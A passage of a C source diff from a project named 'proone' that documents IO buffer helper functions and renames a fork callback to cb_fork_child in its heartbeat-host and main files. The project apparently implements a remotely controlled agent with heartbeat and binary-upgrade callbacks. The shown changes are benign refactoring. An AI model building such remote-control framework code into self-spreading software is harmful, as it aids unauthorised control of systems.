allocating memory for the buffer using the sizes specified in the + * array. + * \param ib The pointer to the IO buffer object. + * \param ny_size The pointer to the array of new sizes of the buffer. + * \retval true if the size of the buffer has been successfully set to one of + * the sizes in \p ny_size. + * \retval false otherwise with \c errno set. + * \note The sizes are tried from the first element of \p ny_size. Usually, + * you'd want to set the elements of the array in the descending order so the + * largest size is tried first which is optimal in most cases. + */ bool prne_try_alloc_iobuf (prne_iobuf_t *ib, const size_t *ny_size); +/** + * \brief Set up the IO buffer object to use the external buffer, relieving the + * IO buffer object's responsibility of freeing the buffer. + * \param ib The pointer to the IO buffer object. + * \param m The pointer to the external buffer. + * \param size The size of the external buffer. + * \param len The initial length of the contents in the external buffer. + * This is usually zero unless there are contents in the external buffer to be + * used. + * \note The function is useful when the use of static type of memory such as + * .bss or stack is desired. Any dynamic resource previously allocated is +* freed. + */ void prne_iobuf_setextbuf ( prne_iobuf_t *ib, uint8_t *m, const size_t size, const size_t len); +/** + * \brief Reset the buffer state - Set \c len to zero and \c avail to the size + * of the buffer. + * \param ib The pointer to the io buffer object. + * \note Use this function to discard the contents of the buffer. The contents + * of the buffer will remain untouched. You may want to use + * \c prne_iobuf_zero() to scrub the data off memory. + * \see \c prne_iobuf_zero() + */ void prne_iobuf_reset (prne_iobuf_t *ib); +/** + * \brief Zero-fill the entire buffer - \c memset() convenience function. + * \param ib The pointer to the IO buffer object. + * \note This is the equivalent of calling \c memset() and + * \c prne_iobuf_reset(). + */ void prne_iobuf_zero (prne_iobuf_t *ib); +/** + * \brief Shift the contents of the buffer - \c memmove() convenience function. + * \param ib The pointer to the IO buffer object. + * \param amount The number of bytes to shift. A positive value simply increases + * \c len and decreases \c avail. A negative value causes the function to call + * \c memmove() to discard the amount of data specified, increasing \c avail + * and decreasing \c len + * \warning When shifting the contents of the buffer to the left, depending on + * the behaviour of \c memmove(), the contents of the buffer on the right may + * remain intact on memory. Do not use IO buffer to store sensitive data. + */ void prne_iobuf_shift (prne_iobuf_t *ib, const ssize_t amount); diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index d0aa865..9ab8fae 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -165,7 +165,7 @@ static bool cb_upbin ( return pth_raise(main_pth, SIGTERM) != 0; } -static bool cb_fork (void *ctx) { +static bool cb_fork_child (void *ctx) { sigset_t ss; sigfillset(&ss); @@ -551,7 +551,7 @@ int main (const int argc, const char **args) { param.cb_f.hostinfo = cb_hostinfo; param.cb_f.tmpfile = mktmpfile; param.cb_f.upbin = cb_upbin; - param.cb_f.fork = cb_fork; + param.cb_f.fork.child = cb_fork_child; param.blackhole = open("/dev/null", O_WRONLY); w = wkr_arr + 1; diff --git a/src/proone.c b/src/proone.c index b81a91d..dae5fad 100644 --- a/src/proone.c +++ b/src/proone.c @@ -252,7 +252,7 @@ static bool cb_upbin ( return true; } -static bool cb_fork (void *ctx) { +static bool cb_fork_child (void *ctx) { sigset_t ss; sigfillset(&ss); @@ -282,7 +282,7 @@ static void alloc_htbt (void) { param.cb_f.hostinfo = cb_htbt_hostinfo; param.cb_f.tmpfile = cb_tmpfile; param.cb_f.upbin = cb_upbin; - param.cb_f.fork = cb_fork; + param.cb_f.fork.child = cb_fork_child; param.rcb = &prne_g.rcb_param; param.blackhole = prne_g.blackhole[1]; |